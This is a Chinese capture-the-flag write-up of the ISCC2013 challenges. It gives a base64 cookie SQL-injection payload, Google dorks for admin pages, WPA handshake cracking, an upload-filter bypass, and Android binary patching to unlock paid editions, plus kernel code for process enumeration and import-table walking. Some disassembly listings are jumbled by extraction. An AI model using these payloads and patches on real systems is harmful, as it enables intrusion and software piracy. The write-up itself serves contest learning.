当前位置:首页 >> 学科竞赛 >> ISCC2013攻略

ISCC2013攻略


入门题
很恶心的选择题,百度 google 各凭本事,总之做了一统,什么都没有记住。

基础题
小豪的健忘症
就是一个 hidden 标签,没有什么好说的。

大牛们的黑历史
一个莫名其妙的人的照片,拿去 google 上搜一下,得出名字就好了。

如何得到一个网站的后台地址

/>这个考察了 google hack 使用下面的语句就可以了

inurl:sae.bit

inurl:admin

如何备份数据
考察一个简单的 cp 语句

cp 源地址/*.data 目的地址

穿越
给出了一个正则表达式,和一个摩尔密码。 这里大括号是重复次数,小括号是分组,这个正则表达的是 facebook 的网址

w{3}.(?<a>t)w(?<b>i)\k<a>{2}er.com
这个摩尔密码表达的是一个用户的名字

. . . . /./. . -/. - ./. . -/. . ./.
找到这个用户发的一条状态,是 heiligabend1992

H(?<a>e)(?<b>i)l\k<b>gab\k<a>nd[1][9]{2}[2]

是 1992 年的平安夜

你的鼻子怎么样
这个简单抓一下包,就出来了

隔壁宿舍的无线密码
这题给了握手包,要求破解 wifi 的密码。 下载一个 Elcomsoft Wireless Security Auditor,直接开始跑,如果包的后缀不对可以使 用 wireshark 转一下。 根据提示密码与生日有关,EWSA 有一个掩码功能,或者下一个生日字典都可以跑出来。

看看你的基本功
就是一段机器码,随便放到 debug 里面跑,或者找个工具翻译出来,手动模拟一下都可以得 到结果。

C 语言进阶
考察一个基本的溢出

name xiaohaoA

EBP

EIP

AAAA AABB DDDDDDDDDDDDDDDD

简单的破解

很简单,随便逆向一下就可以。

简单的加密算法
一个换位加密密码,百度一下,了解思路就可以手动破解出来。 顺便写了一个加密的代码。

#include <cassert> #include <stdlib.h> #include <iostream> #include <fstream> #include <cstring> #include <sstream> #include <vector> using namespace std;

int main() { string source = "ZHUXINXIANQUANJULEBUWANGLUOANQUANJTNSAIYUANMANCH ENGGONG"; string key = "STUPIDRAGON"; vector<char> map[37]; for (int i=0;i<37;i++) map[i].clear(); for (int i=0;i<source.length();i++){

map[ key[i%11]-'A' ].push_back(source[i]); } for (int i=0;i<37;i++) for (int j=0;j<map[i].size();j++) cout<<map[i][j]; cout<<endl;

string a="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGINUNLNC "; string b="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGTNUNLNC "; for (int i=0;i<a.length();i++) if (a[i]!=b[i]) cout<<i<<endl; return 0; }

脚本题
真的和 cookie 有关系
题目给了一段 Base64 代码,解开后是 i am the key,看到 cookie 里面有一个 user 项, 把它放进去 key 就出来了。

输不完的验证码
页面会不停的刷新,让你无法输完验证码。刷新的代码分别是一个 mate 标签和一段 js。 一开始想把页面 down 到本地修改一下提交,不过涉及到跨域 post 的问题。 最后使用 IE 浏览器禁止 mate 标签和 js 顺利解决

有字典就是感觉不一样
就是跑字典啊,自己实现或者用工具都可以。 给的用户名和密码都是 MD5 加密的,不用解密直接跑,得到正确的 MD5 再进行解密。

搞笑图片大收集
一个图片上传漏洞,这种一般随便加点分号空格 00 什么的就过了。

没什么能阻止我们变身 admin
一道 cookie 注入的题,根据题目提示使用 guest guest 登陆。 发现 cookie 中有 user password data 这几项,其中后两个被 base64 加密了。 尝试了一下发现,data 没有惊醒过滤,但是注入语句要先转成 base64 给 data 赋值单引号报错。

Jw==
把 user 赋值 admin data 赋值' or '1'='1,会出现 wecome admin

JyBvciAnMScgPSAnMQ==
这时候 data 里面的数据就会变成 admin 密码的 base64.

破解
简单的看汇编代码
很简单的一道题,随便逆一下就可以看到 key。

普通的一道破解题
先使用 PEID 看了一下,编译器是 bloodshed,非常血腥。 先找到了结果返回的字符串,看看是不是直接把 key 输出,结果这段的意思是“就是这个”

BE CD CA C7 D5 E2 B8 F6 21 7E
看来还是需要找到真正的密码,那 ida F5 大法还原了一下生成 key 的函数。

int __cdecl main(int argc, const char **argv, const char *envp) {

int v4; // eax@1 _BYTE *v5; // edx@5 int v6; // eax@10 int v7; // eax@11 signed int v8; // [sp+1Ch] [bp-524Ch]@1 _BYTE v9[10000]; // [sp+20h] [bp-5248h]@1 char v10; // [sp+2730h] [bp-2B38h]@1 char v11; // [sp+4E50h] [bp-418h]@1 size_t v12; // [sp+5250h] [bp-18h]@1 int v13; // [sp+5248h] [bp-20h]@1 signed int v14; // [sp+524Ch] [bp-1Ch]@1 int v15; // [sp+5254h] [bp-14h]@1 signed int v16; // [sp+525Ch] [bp-Ch]@1 int v17; // [sp+5258h] [bp-10h]@3 _BYTE v18[8]; // [sp+5260h] [bp-8h]@5 int v19; // [sp+5244h] [bp-24h]@7

v8 = 16; __main(); memcpy(v9, aK0lzyz9_e0Vwep, 0x2710u); memset(&v10, 0, 0x2712u); v4 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)& dword_4483C0, (int)"请输入密码~"); unknown_libname_91(v4, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ost reamIT_T0_ES6_); _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_(&dword_ 448460, &v11);
= 0; v14 = 0; v15 = 0; v16 = 41; while ( v16 <= 60 ) { v17 = 1; while ( v16 + 5 >= v17 ) { v5 = &v18[v13++ - 1040]; if ( *v5 != v9[v17 * v16] ) v14 = 1; ++v19; ++v17; } v13 = v13 - v15++ - 1; v16 += 6; } if ( v14 ) { v7 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E39); unknown_libname_91(v7, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } else { v6 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E2E); unknown_libname_91(v6,

_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } system("pause"); return 0; }把乱七八糟的东西删一删找到了主要的函数,运行一下得出 key A{?ZR;J`aEN's3sFn#h>0{jElf0];i'HEil)(qzo0>}&m4QL;s.D!9R`!lOGD05rDi,]b0}K%aeI]Lf veL|EE'1SIC:Kql'ZFNy~60Jw)Fy)UEa;Ssy2YS%j2[qqHCq=M0n9iF^9j0wu1ou+}TLbg:o7..<4]T o~1p58o1Q,C2^FiUa2RPHkF{8i=Kd7q?X{nf9:mx,gFd]:K{YbUS#r@h 这时却发现这个 key 不正确,拿 od 单步一下,发现有一位错了,改正即可。

求帮忙解密课件
这题是一个典型的 RSA 加密。 同样使用 F5 大法,这时候发现 Hex-Rays1.0 对 int64 兼容的不算特别好,而高版本网上又 不提供下载。 Better recognition of 64-bit idioms, example 2 v21 = PageSize * (_DWORD)a6 - a2; v22 = __MKCADD__(v21, qword_6992C7E0); *(_DWORD *)&qword_6992C7E0 = v21 + qword_6992C7E0; *((_DWORD *)&qword_6992C7E0 + 1) += ((unsigned __int64)PageSize * a6 >> 32) ((unsigned int)(PageSize * (_DWORD)a6 < (_DWORD)a2) + *((_DWORD *)&a2 + 1)) + v22;

qword_6992C7E0 += PageSize * a6 - a2; 这些宏理应定义在 IDA 的 defs.h 中,可是 defs.h 却很不负责任的这样定义,或许在 IDA 高版本下有定义。 #define __ROL__(x, y) __rotl__(x, y) #define __ROR__(x, y) __rotr__(x, y) #define __RCL__(x, y) invalid_operation #define __RCR__(x, y) invalid_operation // Rotate left // Rotate right // Rotate left thru carry // Rotate right thru carry

#define __MKCADD__(x, y) invalid_operation // Generate carry flag for an addition #define __MKOADD__(x, y) invalid_operation // Generate overflow flag for an addition #define __MKCSHL__(x, y) invalid_operation // Generate carry flag for a shift left #define __MKCSHR__(x, y) invalid_operation // Generate carry flag for a shift right #define __MKCRCL__(x, y) invalid_operation // Generate carry flag for a RCL

#define __MKCRCR__(x, y) invalid_operation // Generate carry flag for a RCR #define __SETO__(x, y) invalid_operation // Generate overflow flags for (x-y) 不过这并不重要,把这些乱七八糟的东西删掉,把核心代码还原一下。 int main() { source=1; temp=1; key=1; n =9986801107LL;

char x; cin>>x; k = x -1; for (int i=1;i<=54517;++i){ temp = key; key = (key + temp*k) % n; } while (key!=0){ cout<<key % 10; key /= 10; } cout<<endl; } 得到算法大概是这样,算法把每两个字符的 ascii 码进行加密,待加密数字 asciiA*1000+asciiB n 9986801107 = 99877 * 99991 (q-1)(p-1) = 9986601240 得出 m=732733

x^d % n 中 d = 54517 m * d mod (q-1)(p-1) = 1 这里计算 m 的算法

比如 rsa 算法中 已知 p=101, q=97, e=13, 求 d

N=p*q=101*97=9797 φ (N)=(p-1)(q-1)=9600 欧拉函数 (13,9600)=1 9600=13*738+6 13=6*2+1 1=13-2*6 =13-2*(9600-13*738) =13*1477-2*9600 e=13,d=1477 这里的 e,d 就是刚说的 e1 和 e2 根据这些很容易的可以写出解密函数,之所以使用 java 是因为他的大数类或者使用半加法 也可以在 int64 范围内得出正确结果 import java.io.UnsupportedEncodingException; import java.math.BigInteger; import java.util.Scanner; 辗转相除法

public class main { public static BigInteger RSAcode(BigInteger x,BigInteger d,BigInteger n){ BigInteger ans = new BigInteger("1"); BigInteger two = new BigInteger("2"); while (!d.equals(BigInteger.ZERO)){ if (d.mod(two).equals(BigInteger.ONE)){ ans = ans.multiply(x).mod(n); } x = x.multiply(x).mod(n); d = d.divide(two); } return ans; } public static void main(String args[]) { BigInteger n = new BigInteger("9986801107"); BigInteger d = new BigInteger("54517");

BigInteger m = new BigInteger("732733"); BigInteger x = new BigInteger("49049");

System.out.println("Secret key:49049 9986801107"); Scanner in = new Scanner(System.in); String code = in.nextLine(); char[] tcode = new char [10]; String ttcode = null; int icode; char ccode; for (int i=0;i<code.length();i+=10){ for (int j=0;j<10;j++){ tcode[10-j-1]=code.charAt(j+i); ttcode = String.valueOf(tcode); //System.out.println(ttcode); } icode = Integer.parseInt(RSAcode(new BigInteger(ttcode),m,n).toString()); if (1000<icode){ ccode = (char) (icode / 1000); System.out.print(ccode); ccode = (char) (icode % 1000); System.out.print(ccode); } else { ccode = (char) (icode); System.out.print(ccode); } } //System.out.println(RSAcode(x,d,n).toString()); //System.out.println(RSAcode(RSAcode(x,d,n),m,n).toString()); } }

这用了一个壳~好像蛮麻烦的~
这个加了一个壳,首先不想把它脱掉了,太麻烦。这个可很可能有反动态调试的功能,并且 修改了资源表。 所以使用 IDA 静态调试的时候,并无法定位到具体某个函数。使用 od 动态调试的时候,需 要使用 hideOD 这个插件。 其实因为程序很小, 随便单步几下就可以找到关键代码了。 其实正确方法是在资源表(.rsc) 下内存访问断点,

然后再壳还原资源表的时候,就可以断下了。 找到了关键代码 004010F9 |> /8B0E 004010FB |. |B8 93244992 00401100 |. |83C1 0A 00401103 |. |F7E9 00401105 |. |03D1 00401107 |. |C1FA 02 0040110A |. |8BCA 0040110C |. |C1E9 1F 0040110F |. |03D1 00401111 |. |8BCA 00401113 |. |890E 00401115 |. |8B46 04 00401118 |. |99 00401119 |. |F7F9 0040111B |. |52 0040111C |. |68 20304000 "%d" 00401121 |. |8916 00401123 |. |FFD5 00401125 |. |83C4 08 00401128 |. |83C6 04 0040112B |. |4F 0040112C |.^\75 CB |mov |call |add |add |dec \jnz dword ptr [esi], edx ebp esp, 8 esi, 4 edi short 004010F9 /mov |mov |add |imul |add |sar |mov |shr |add |mov |mov |mov |cdq |idiv |push |push ecx edx 00403020 ; ASCII ecx, dword ptr [esi] eax, 92492493 ecx, 0A ecx edx, ecx edx, 2 ecx, edx ecx, 1F edx, ecx ecx, edx dword ptr [esi], ecx eax, dword ptr [esi+4]

是一个循环回一个数组进行处理,先看一下这个数组是什么 57 65 64 20 4d 61 79 20 31 35 20 31 30 3a 35 37 3a 33 32 20

32 30 31 33 0a

Wed May 15 20:43:32 2013 这样看来,这个加密算法是通过取得一个时间来随机生成 key。 再来看程序怎样对这段代码进行变换。

这段很痛疼的代码其实是对整数除法的一个编译器优化, http://www.pediy.com/kssd/pediy11/116974.html 004010FB |. |B8 93244992 00401100 |. |83C1 0A 00401103 |. |F7E9 00401105 |. |03D1 00401107 |. |C1FA 02 |mov |add |imul |add |sar eax, 92492493 ecx, 0A ecx edx, ecx edx, 2 ecx, edx

0040110A |. |8BCA |mov 其他的都很好懂,使用 c++实现一下 #include "stdafx.h" #include <time.h> #include <string.h>

int main(int argc, char* argv[]) { char source[31]; unsigned int c,a,d; memset(source,0,sizeof(source)); time_t t = time(0); strftime(source,sizeof(source),"%a %b %m %X %Y\n",localtime(&t)); printf("%s\n",source); for (int i=0;i<30;i++){ c = source[i]; c = c + 10;

d = c / 7; c = d;

source[i] = c; a = source[i+1]; d = a % c; a = a / c;

printf("%d",d); } return 0; }

付费版太贵了
这是一道 android 的逆向,要求是显示原来是隐藏的两个按钮,主要需要用到这四个工具 dex2jar: 将 apk 中的 class.dex 文件反编译为 jar 包

auto-signed:给修改后的 APK 签名 jd_gui: 将 jar 反编译为.java 文件

apktool: 提取 apk 中的资源文件 很轻易的看到了 java 源代码, 代码中反复调用 setVisibility(0)来进行隐藏 package com.bfs.crackme;

import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.view.Menu;

import android.view.MenuInflater; import android.widget.Button;

public class MainActivity extends Activity { private Button a; private Button b; private Button c;

private int a(String paramString) { try { int i = Integer.parseInt(d.a("droider", paramString)); return i; } catch (Exception localException) { localException.printStackTrace(); } return 0; }

private String a(int paramInt) { try { String str = createPackageContext("com.droider.appkey", 2).getString(paramInt); return str; } catch (Exception localException) {

localException.printStackTrace(); } return ""; }

private boolean a() { String str = a(2130903041); return (str != null) && (str.length() != 0); }

public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130903040); int i; if (!a()) { i = 2130968577; setTitle(getString(i)); this.a = ((Button)findViewById(2131165184)); this.b = ((Button)findViewById(2131165185)); this.c = ((Button)findViewById(2131165186)); if (i != 2130968578) break label150; this.b.setVisibility(0); } while (true) { this.a.setOnClickListener(new a(this)); this.b.setOnClickListener(new b(this)); this.c.setOnClickListener(new c(this)); return; i = a(a(2130903041)); if (i != 0) break; i = 2130968577; // break; label150: if (i == 2130968579) //0x7f040003 { this.b.setVisibility(0); this.c.setVisibility(0); } } } public boolean onCreateOptionsMenu(Menu paramMenu) { getMenuInflater().inflate(2131099648, paramMenu); return true; } }layout/activity_main.xml 中也设置了,按钮隐藏 <?xml version="1.0" encoding="utf-8"?> <RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent"

xmlns:android="http://schemas.android.com/apk/res/android"> <Button android:id="@id/button_free" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="42.0dip" android:text="免费版入口" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" /> <Button android:id="@id/button_advanced" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="48.0dip" android:text="高级版入口" android:layout_below="@id/button_free" android:layout_alignLeft="@id/button_free" /> <Button android:id="@id/button_pro" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="60.0dip" android:text="专业版入口" android:layout_below="@id/button_advanced" android:layout_alignLeft="@id/button_advanced" /> </RelativeLayout> 修改 xml 中的属性很简单,但是为了重打包方便,直接修改 apktools 逆向出的 smail 文件。 对照这里,找到了调用 setVisibility 的语句 http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html 其中 V0 被当做 setVisibility 参数,而且所有的 setVisibility()均使用 V0 作为参数,我 门只需要在开头修改给 V0 赋值的语句就可以了 invoke-virtual {v0, v2}, Landroid/widget/Button;->setVisibility(I)V 修改好之后使用 apktool 重打包,并使用 auto-signed 签名就大功告成了。 这里我使用 java 带的 keytool 进行签名没有成功,原因不明。

注册很麻烦
依旧是一道 android 的逆向,不过使用了高级一点 JNI 的技术。 核心代码写在一个 OS 文件中, 在使用 loadlibrary 调用进来, java 代码中没有找到什么 在 有用的信息

除了这个,我们的目标是企业版也就是 3 if (i == 1) str = "-正式版"; else if (i == 2) str = "-专业版"; else if (i == 3) str = "-企业版"; else if (i == 4) str = "-专供版"; else str = "-未知版"; 使用 IDA 打开这个 OS 文件,发现是 ARM 汇编,和常规汇编有所不同。 首先发现了 4 段 md5,应该是对应上面 4 种版本的注册码 .rodata:00003908 a25d55ad283aa40 DCB "25d55ad283aa400af464c76d713c07ad",0 .rodata:00003908 .rodata:00003929 ALIGN 0x10 ; DATA XREF: n1+80 o

.rodata:00003930 a08e0750210f663 DCB "08e0750210f66396eb83957973705aad",0 .rodata:00003930 .rodata:00003951 ALIGN 8 ; DATA XREF: n1+98 o

.rodata:00003958 aB2db1185c9e5b8 DCB "b2db1185c9e5b88d9b70d7b3278a4947",0 .rodata:00003958 .rodata:00003979 ALIGN 0x10 ; DATA XREF: n1+B0 o

.rodata:00003980 a18e56d777d194c DCB "18e56d777d194c4d589046d62801501c",0 .rodata:00003980 ; DATA XREF: n1+C8 o 解密之后,应该就是 4 个版本的注册码,填进去貌似就可以注册了 25d55ad283aa400af464c76d713c07ad 08e0750210f66396eb83957973705aad b2db1185c9e5b88d9b70d7b3278a4947 12345678 22345678 32345678

18e56d777d194c4d589046d62801501c 42345678 不过本着精益求精的原则, 还需要把认证流程绕过去, N1 函数中, 在 他屡次调用了 setVaule 函数,这个函数是用来设定注册状态的。

我们只要把所有的 setVaule 函数的传参全部改成 3 就可以了。每次调用 SetValue 都通过 R1 来传递参数 找出每次 setvaule 的地址 00001390 000013A0 05 10 a0 e1 04 10 A0 E1 MOV MOV R1, R5 R1, R4

先改两个,其他不管 Mov R1 3 03 10 A0 E3 二进制打开 os 文件,找到固定地址,修改之,成功。 其实这样改还有不足之处,但是里面逻辑很复杂,懒得去管了。

内核题
因为内核实在是不会,所以都是上网抄的代码,让我解释也解释不清楚。所以只把源代码贴 上来。

简单的驱动编写
没啥好说的一个简单的 Hello world #include <ntddk.h>

NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp); VOID MyUnload(IN PDRIVER_OBJECT DriverObject0);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { PDEVICE_OBJECT mydevice;//定义设备对象 UNICODE _STRING devicename;//定义设备名称 UNICODE_STRING symboliclinkname;//定义符号连接 名称 RtlInitUnicodeString(&devicename,L"\\Device\\mydevice");//初始化设备名称 RtlInitUnicodeString(&symboliclinkname,L"\\??\\ISCC2013Kernel1");//初始化符号连 接名称 //创建常规的设备对象 if(STATUS_SUCCESS ==

IoCreateDevice( theDriverObject,//驱动对象 0, &devicename,//设备名称 FILE_DEVICE_UNKNOWN,//类型 0, FALSE, &mydevice//设备对象 )) { DbgPrint("create a device\n"); } //创建驱动设备符号链接 if(STATUS_SUCCESS == IoCreateSymbolicLink( &symboliclinkname,//符号链接名称 &devicename//设备名称 )) { DbgPrint("create a symbolicLink\n"); } theDriverObject->DriverUnload = MyUnload; //设置 IRP 派遣例程和卸载例程 theDriverObject->MajorFunction[IRP_MJ_CREATE]= theDriverObject->MajorFunction[IRP_MJ_CLOSE] = theDriverObject->MajorFunction[IRP_MJ_WRITE] = theDriverObject->MajorFunction[IRP_MJ_READ] = theDriverObject->MajorFunction[IRP_MJ_CLOSE] = theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = myDispatch; return STATUS_SUCCESS; } NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp) { NTSTATUS ntStatus=STATUS_SUCCESS; PIO_STACK_LOCATION IrpStack=NULL; //IRP 堆栈 ULONG IoControlCodes=0; //I/O 控制代码 //设置 IRP 状态 pIrp->IoStatus.Status=STATUS_SUCCESS; pIrp->IoStatus.Information=0; IrpStack=IoGetCurrentIrpStackLocation(pIrp); //得到当前调用者的 IRP switch (IrpStack->MajorFunction) { case IRP_MJ_CREATE: DbgPrint("create\n"); break; case IRP_MJ_CLOSE: DbgPrint("close\n"); break; default: DbgPrint("other\n"); break; } ntStatus=pIrp->IoStatus.Status; IoCompleteRequest(pIrp,IO_NO_INCREMENT); return ntStatus; } VOID MyUnload(IN PDRIVER_OBJECT DriverObject0) { //c 语言变量一定要 放最前面... PDEVICE_OBJECT temp1; PDEVICE_OBJECT temp2; UNICODE_STRING symboliclinkname;//定义符号连接名称 DbgPrint("unload\n"); RtlInitUnicodeString(&symboliclinkname,L"\\??\\ISCC2013Kernel1");//初始化连接符 号 IoDeleteSymbolicLink(&symboliclinkname);//删除符号连接 if(DriverObject0) { temp1=DriverObject0->DeviceObject; //删除设备链表 while(temp1) { temp2=temp1; temp1=temp1->NextDevice; IoDeleteDevice(temp2);//删除设备 DbgPrint("upload a decive...\n"); } } }

"凭空"出现的指令
考察了 GS security cookie 安全机制,在 sources 中将其关掉即可。

BUFFER_OVERFLOW_CHECKS=0

又见隐藏进程
使用了 PSPcidtable 枚举进程的方法 #include <ntddk.h>

typedef struct _OBJECT_HEADER { union { struct { LONG PointerCount; LONG HandleCount; }; LIST_ENTRY Entry; }; POBJECT_TYPE Type; UCHAR NameInfoOffset; UCHAR HandleInfoOffset; UCHAR QuotaInfoOffset; UCHAR Flags;

union { //POBJECT_CREATE_INFORMATION ObjectCreateInfo; PVOID QuotaBlockCharged; };

PSECURITY_DESCRIPTOR SecurityDescriptor;

QUAD Body; } OBJECT_HEADER, *POBJECT_HEADER;

#define OBJECT_TO_OBJECT_HEADER(obj) OBJECT_HEADER, Body )

CONTAINING_RECORD( (obj),

#define OBJECT_BODY_TO_TYPE 0x10

#define TYPE 0X08

//_OBJECT_HEADER 中的偏移

#define NEXTFREETABLEENTRY 0X04 //_HANDLE_TABLE_ENTRY 中的偏移 #define IMAGEFILENAME 0X174 //_EPROCESS 中的偏移

#define FLAGS 0x248 #define UniqueProcessID 0x084 ULONG GetProcessType() { ULONG eproc; ULONG type; ULONG total;

//_EPROCESS 中的偏移 //_EPROCESS 中的偏移

eproc = (ULONG)PsGetCurrentProcess();//PsGetCurrentProcess 获取当前活动进程 的地址,实际上就是对象(体)指针 eproc = (ULONG)OBJECT_TO_OBJECT_HEADER(eproc); type = *(PULONG)(eproc+TYPE);

return type; }

ULONG GetPspCidTable() { ULONG PspCidTable=0; ULONG FuncAddr=0; UNICODE_STRING FuncName={0};

RtlInitUnicodeString(&FuncName,L"PsLookupProcessByProcessId"); FuncAddr=(ULONG)MmGetSystemRoutineAddress(&FuncName); for (;;FuncAddr++) { if ((0x35ff==(*(PUSHORT)FuncAddr)) && (0xe8==(*(PUCHAR)(FuncAddr+6)))) { PspCidTable=*(PULONG)(FuncAddr+2); break; }

}

return PspCidTable; }

//从 3 级表开始遍历 ULONG BrowseTableL3(ULONG TableAddr) { ULONG Object=0; ULONG ItemCount=511; ULONG processtype,type; ULONG flags; do { TableAddr+=8; // 跳过前面的无效句柄 Object=*(PULONG)TableAddr; Object&=0xfffffff8; // 最后 3 位清零, 得到 EPROCESS 结构地址

if (Object==0) { continue; } type = (*(PULONG)(Object-OBJECT_BODY_TO_TYPE)); processtype = GetP rocessType(); if (type == processtype) // 如果是进程对象 { flags=*(PULONG)((ULONG)Object+FLAGS); /*__asm{ int 3; }*/ if((flags&0xc)!=0xc){ // 如果不是死进程 KdPrint(("ImageName: %20s ", (char*)Object+IMAGEFILENAME)); KdPrint(( "ProcessID: 0x%02X%02X%02X%02X\n", (UCHAR)((char*)Object+UniqueProcessID)[3] , (UCHAR)((char*)Object+UniqueProcessID)[2], (UCHAR)((char*)Object+UniqueProcessID)[1], (UCHAR)((char*)Object+UniqueProcessID)[0] )); } } } while (--ItemCount>0); return 0; } //从二级表开始遍历 ULONG BrowseTableL2(ULONG TableAddr) { do { BrowseTableL3(*(PULONG)TableAddr); TableAddr+=4; } while ((*(PULONG)TableAddr)!=0); return 0; } //从 1 级表开始遍历 ULONG BrowseTableL1(ULONG TableAddr) { do { BrowseTableL2(*(PULONG)TableAddr); TableAddr+=4; } while ((*(PULONG)TableAddr)!=0); return 0; } VOID

RefreshProcessByPspCidTable() { ULONG PspCidTable=0; ULONG HandleTable=0; ULONG TableCode=0; ULONG flag=0; PspCidTable=GetPspCidTable(); HandleTable=*(PULONG)PspCidTable; TableCode=*(PULONG)HandleTable; flag=TableCode&3; TableCode&=0xfffffffc; switch (flag) { case 0: BrowseTableL3(TableCode); break; case 1: BrowseTableL2(TableCode); break; case 2: BrowseTableL1(TableCode); break; } } VOID DriverUnload( IN PDRIVER_OBJECT DriverObject ) { KdPrint(("DriverUnload!")); } NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath ) { NTSTATUS status = STATUS_SUCCESS; KdPrint(("Enter DriverEntry!\n")); DriverObject->DriverUnload = DriverUnload; RefreshProcessByPspCidTable(); return status; }

Windows 的 PE 文件
思路是在内核中枚举模块名称,得到其基址后修改其输入表 #include "ntddk.h"

#include "hookiat.h"

#pragma comment(lib,"ntdll.lib")

HANDLE hSection; PVOID g_OriginalPsGetCurrentProcessId = NULL; PVOID g_FunctionInMemory = NULL; NTSTATUS status;

typedef HANDLE (*PSGETCURRENTPROCESSID)();

PVOID GetDriverBaseAdress(IN char* driverName) { ULONG size,index; PULONG buf; PSYSTEM_MODULE_INFORMATION module; PVOID driverAddress=0;

ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);

if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))) { DbgPrint("failed alloc memory failed \n"); return 0; }

status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0); if(!NT_SUCCESS( status )) { DbgPrint("failed query\n"); return 0; }

module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);

for (index = 0; index < *buf; index++) if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0) { driverAddress = module[index].Base; DbgPrint("Module found at:%x\n",driverAddress); } ExFreePool(buf); return driverAddress; }

PVOID CreateMapFileAndReturnBaseAddress(IN PUNICODE_STRING pDriverName) { HANDLE hFile;

//HANDLE hSection 看需要在别的地方 ZWclose(hSection),若不用.那定义成局部变量就 可以了,或者做为数参数传递 char *pszModName; PVOID MapFileBaseAddress = NULL; SIZE_T size=0; IO_STATUS_BLOCK stataus; OBJECT_ATTRIBUTES oa ;

InitializeObjectAttributes( &oa, pDriverName, OBJ_CASE_INSENSITIVE, 0, 0 );

ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &stataus, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); oa.ObjectName = 0;

ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile); ZwMapViewOfSection(hSection, PsGetCurrentProcessId(),

&MapFileBaseAddress, 0, 1024, 0, &size, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); ZwClose(hFile); DbgPrint("baseadress:%x\n",MapFileBaseAddress); return MapFileBaseAddress;

}

DWORD GetImageImportDescriptorPointer(IN OUT HANDLE* hMod, IN OUT IMAGE_IMPORT_DESCRIPTOR** pImportDesc) {

IMAGE_DOS_HEADER * dosheader; IMAGE_OPTIONAL_HEADER * optheader; PVOID BaseAddress = NULL; UNICODE_STRING driverName;

RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\WINDOWS\\system32\\drivers\\ISCC2013Kernel4.sys"); BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName); *hMod = BaseAddress;

dosheader= (IMAGE_DOS_HEADER *)BaseAddress; optheader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)BaseAddress+dosheader->e_lfanew+24);

*pImportDesc = (IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)dosheader+ optheader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); if( NULL == (*pImportDesc)) return 0; else return 1; DbgPrint("DataEntryAddress:%x\n",pImportDesc); } DWORD GetFunctionRav(IN char* lpFunctionName, IN char* lpFunctionLibrary, OUT DWORD* pThunk, OUT DWORD* pRVA) { HANDLE hMod; IMAGE_IMPORT_DESCRIPTOR * pImportDesc; IMAGE_THUNK_DATA* thunk; char *pszModName; DWORD firstThunkList; DWORD ret; BOOLEAN isOrdinal; BOOLEAN foundIt; int x=0; SIZE_T size=0; ret=GetImageImportDescriptorPointer(&hMod,&pImportDesc); if(ret==0) { DbgPrint("GetImageImportDescriptorPointer return NULL"); return 0; } //遍历 IMPORT DIRECTORY TABLE,找到 ntoskrnl.exe 对应的 IMAGE_IMPORT_DESCRIPTOR while (pImportDesc->FirstThunk) { pszModName = (PSTR) ((PBYTE) hMod + pImportDesc->Name); if (_stricmp(pszModName, lpFunctionLibrary) == 0 ) { foundIt = TRUE; DbgPrint("name:%s\n",pszModName); break; } pImportDesc++; } if(foundIt==FALSE) { return 0; } //得到 ntoskrnl.exe 的 IMAGE_IMPORT_DESCRIPTOR,就可以其 IAT,IAT 中就 可以找到导出函数了 thunk = (IMAGE_THUNK_DATA*)( (BYTE*)hMod + pImportDesc->OriginalFirstThunk); firstThunkList = (DWORD)((PBYTE)hMod + pImportDesc->FirstThunk); foundIt = FALSE; while(thunk->u1.Function) { isOrdinal = 0; //IMAGE_THUNK_DATA 其实就是一个 DWORD,它要么是 Ordinal,要么是 AddressOfData if(thunk->u1.Function >= 0x01000000) isOrdinal = TRUE; if(!isOrdinal) // 以名字 到处而不是序号 { //IMAGE_IMPORT_BY_NAME char* functionName = (char*)( (BYTE*)hMod + (DWORD)thunk->u1.AddressOfData + 2 ); if (_stricmp(functionName, lpFunctionName) == 0 ) { *pThunk = pImportDesc->FirstThunk; *pRVA = x; DbgPrint("%x",( DWORD *)((PBYTE)hMod +pImportDesc->FirstThunk)+x); ZwClose(hSection); return 1; } } if(isOrdinal) { ZwClose(hSection); return (DWORD) NULL; } x++; 